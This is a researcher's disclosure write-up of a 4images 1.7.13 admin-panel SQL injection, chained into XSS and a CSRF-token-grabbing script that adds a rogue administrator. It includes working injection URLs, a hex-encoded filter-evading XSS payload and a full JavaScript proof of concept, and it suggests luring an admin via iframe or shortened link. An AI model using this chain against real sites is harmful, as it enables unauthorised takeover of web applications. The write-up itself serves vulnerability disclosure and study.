4images <= 1.7.13 Sql injection / Administrator add exploit
November 2, 2016
Intro
From vendor website
4images is a powerful web-based image gallery management system. Features include comment system, user registration and management, password protected administration area with browser-based upload and HTML templates for page layout and design.
4images < 1.7.13 is vulnerable to sql injection flaw which can be escalated in various methods to higher access over the vulnerable host
In this write up I will demonstrate my own escalation to add new administrator account.
There are multiple sql injection flaws inside administrator panel , but most of them in POST requests
POST inputs are protected by good anti csrf function which mean it suppose to require admin interaction to add the injection payload himself in order to get executed
file includes/csrf_utils.php
74function csrf_check($use_show_error = false) {
75 global $HTTP_SERVER_VARS, $HTTP_POST_VARS, $site_sess, $csrf_protection_name, $csrf_protection_expires;
76
77 if ($HTTP_SERVER_VARS['REQUEST_METHOD'] !== 'POST') {
78 return;
79 }
80
81 if (isset($HTTP_POST_VARS[$csrf_protection_name])) {
82 $session = $site_sess->get_session_var($csrf_protection_name);
83
84 if (!is_array($session)) {
85 return false;
86 }
87
88 $found = false;
89
90 foreach ($session as $token => $time) {
91 if (!secure_compare($token, (string) $HTTP_POST_VARS[$csrf_protection_name])) {
92 continue;
93 }
94
95 if ($csrf_protection_expires) {
96 if (time() <= $time + $csrf_protection_expires) {
97 $found = true;
98 } else {
99 unset($session[$token]);
100 }
101 } else {
102 $found = true;
103 }
104
105 break;
106 }
107
108 $site_sess->set_session_var($csrf_protection_name, $session);
109
110 if ($found) {
111 return;
112 }
113 }
114
115 header($HTTP_SERVER_VARS['SERVER_PROTOCOL'] . ' 403 Forbidden');
116
117 if ($use_show_error) {
118 csrf_rewrite();
119 show_error_page('CSRF check failed.');
120 } else {
121 echo "<html><head><title>CSRF check failed</title></head><body>CSRF check failed.</body></html>";
122 exit;
123 }
124}
it’s obvious that the check happen only when the request type is POST so our best bet is to find an injection flaw inside a GET request , inject an xss payload using it , bypass the csrf protection and gain admin access to the host
Vulnerability
file : admin/validateimages.php
329 if (isset($HTTP_GET_VARS['orderby']) || isset($HTTP_POST_VARS['orderby'])) {
330 $orderby = (isset($HTTP_GET_VARS['orderby'])) ? stripslashes(trim($HTTP_GET_VARS['orderby'])) : stripslashes(trim($HTTP_POST_VARS['orderby']));
331 }
332 else {
333 $orderby = "i.image_date";
334 }
406 $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file".get_user_table_field(", u.", "user_name")."
407 FROM ".IMAGES_TEMP_TABLE." i
408 LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
409 WHERE $condition
410 ORDER BY $orderby $direction
411 LIMIT $limitstart, $limitnumber";
412 $result = $site_db->query($sql);
GET /lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10
will get the following in the response
Alot of html . . . .
td class="tableseparator">Options</td>
</tr>
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>: SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file, u.user_name
FROM 4images_images_temp i
LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
WHERE 1=1
ORDER BY extractvalue(1,concat(0x7e,version())) ASC
LIMIT 0, 10<br /><b>XPATH syntax error: '<span style="color: #ff0000;">~5.5.25a</span>'</b><br /><tr class="tablefooter">
<td colspan="8" align="center">
<input type="submit" value=" Submit " class="button">
<input type="reset" value=" Reset " class="button">
Few HTML
Great ,now we can inject any string instead of version() , just make sure it’s hex encoded. The plan is
- Execute xss payload that load an external js file
- the external js file load users page , grab the csrf token
- same file will use the grabbed token and submit new administrator’s data from the same browser session
- we are done
the problem is that extract value output is limited to 32 char length
to load and execute external js file we will use the classic payload <script src=”//blah.com/blah.js”></script>
which wont work due to the length limitation
I tried few payloads to load AND execute the js but nth worked with me , got bored , thought about injecting using different method but actually I prefered to keep stuck with that injection and length limitation
XSS limitation bypass
after few tries and a lot of questions to @brutelogic I made it Using the following payload Just made the trick
http://localhost/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC
&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)
fast explanation the hex part 0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e
is the hex encoded value of <svg/onload=eval("/*"+URL)>
the after Hashtag part */with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)
is the js code that will be passed to the eval() func and then load/execute the base64 encoded string which represent the js URL //localhost/x.js in our case -> Ly9sb2NhbGhvc3QveC5qcw==
If you need more detailed explanation , Here it is
http://brutelogic.com.br/blog/avoiding-xss-detection/
Bypassing CSRF protection
Now by our js file is really to be loaded and executed , all is left is to get through the anti csrf
1st we need to get the users page csrf token (which is changed every request) just by loading GET users.php?action=addusers via XMLHttprequest
2nd we will obtain the csrf token from the response
3rd submitting the new admin details to the users page
Full POC
var http = new XMLHttpRequest();
//var http2 = new XMLHttpRequest();
//generating CSRF token via loading users page
var url = "users.php?action=addusers";
http.open("GET", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onload = function() {
if(http.status == 200) {
var str=http.responseText;
//grabbing the csrf token
var subStr = str.match('<input type="hidden" name="__csrf" value="(.*)" />');
token=subStr[1]
alert("CSRF_TOKEN = "+token);
var x4148final = new XMLHttpRequest();
var x4148req = new FormData();
//appending token
x4148req.append( '__csrf', token);
x4148req.append( 'action', 'saveusers' );
x4148req.append( 'num', '1' );
x4148req.append( 'user_level_1', '9' );
x4148req.append( 'user_name_1', '0x418fo' );
x4148req.append( 'user_email_1', '[email protected]' );
x4148req.append( 'user_password_1', '0x418fo' );
x4148req.append( 'user_homepage_1', '' );
x4148req.append( 'user_icq_1', '' );
x4148req.append( 'user_showemail_1', '0' );
x4148req.append( 'user_allowemails_1', '0' );
x4148req.append( 'user_invisible_1', '1' );
x4148req.append( 'num_newusers', '1' );
var x4148form = new XMLHttpRequest();
x4148form.open("POST", "users.php");
x4148form.send(x4148req);
x4148form.onload = function () {
if (x4148form.readyState === 4) {
console.log(x4148form.response);
myresponse = x4148form.response;
alert('done ;)');
}
};
//adding new admin
x4148final.send();
}
}
http.send();
Now all the attacker need is to make an iframe to the exploitation URL , URL shorter service or even redirecting a domain to the exploitation URL sending to admin and that’s it Video
Conclusion
As usual , never underestimate the risk of any vulnerability What ever hardening / security is there , underestimating or ignoring sanitization of only one input by the pretext of “Oh , never mind , it require authentication so leave it exposed” will ruin it all 4images team really care about their product security , I mean vuln reported , reviewed and fixed within less than 1 day Special thanks to the Brute for giving a hand with the xss part Also to Ahmed allaa & Aboul-ela for the continuous spiritual and technical support
Till next time, Ahmed